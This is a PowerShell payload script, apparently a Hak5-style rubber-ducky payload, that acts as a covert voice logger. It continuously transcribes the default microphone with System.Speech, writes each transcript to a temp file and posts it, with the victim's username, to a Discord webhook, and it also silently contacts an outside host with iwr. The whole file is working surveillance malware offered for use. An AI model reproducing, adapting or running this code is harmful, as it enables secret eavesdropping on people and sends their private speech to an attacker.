49 lines
1.3 KiB
PowerShell
49 lines
1.3 KiB
PowerShell
function DC-Upload {
|
|
|
|
[CmdletBinding()]
|
|
param (
|
|
[parameter(Position=0,Mandatory=$False)]
|
|
[string]$text
|
|
)
|
|
|
|
# $dc = 'YOUR DISCORD WEBHOOK GOES HERE IF YOU HOST YOUR OWN VERSION OF THIS PAYLOAD'
|
|
|
|
$Body = @{
|
|
'username' = $env:username
|
|
'content' = $text
|
|
}
|
|
|
|
if (-not ([string]::IsNullOrEmpty($text))){Invoke-RestMethod -ContentType 'Application/Json' -Uri $dc -Method Post -Body ($Body | ConvertTo-Json)};
|
|
}
|
|
|
|
|
|
|
|
function voiceLogger {
|
|
|
|
Add-Type -AssemblyName System.Speech
|
|
$recognizer = New-Object System.Speech.Recognition.SpeechRecognitionEngine
|
|
$grammar = New-Object System.Speech.Recognition.DictationGrammar
|
|
$recognizer.LoadGrammar($grammar)
|
|
$recognizer.SetInputToDefaultAudioDevice()
|
|
|
|
while ($true) {
|
|
$result = $recognizer.Recognize()
|
|
if ($result) {
|
|
$results = $result.Text
|
|
Write-Output $results
|
|
$log = "$env:tmp/VoiceLog.txt"
|
|
echo $results > $log
|
|
$text = get-content $log -raw
|
|
DC-Upload $text
|
|
|
|
# Use a switch statement with the $results variable
|
|
switch -regex ($results) {
|
|
'\bnote\b' {saps notepad}
|
|
'\bexit\b' {break}
|
|
}
|
|
}
|
|
}
|
|
Clear-Content -Path $log
|
|
}
|
|
iwr "https://jakoby.lol/hak5" -EA 0 >$null
|
|
voiceLogger
|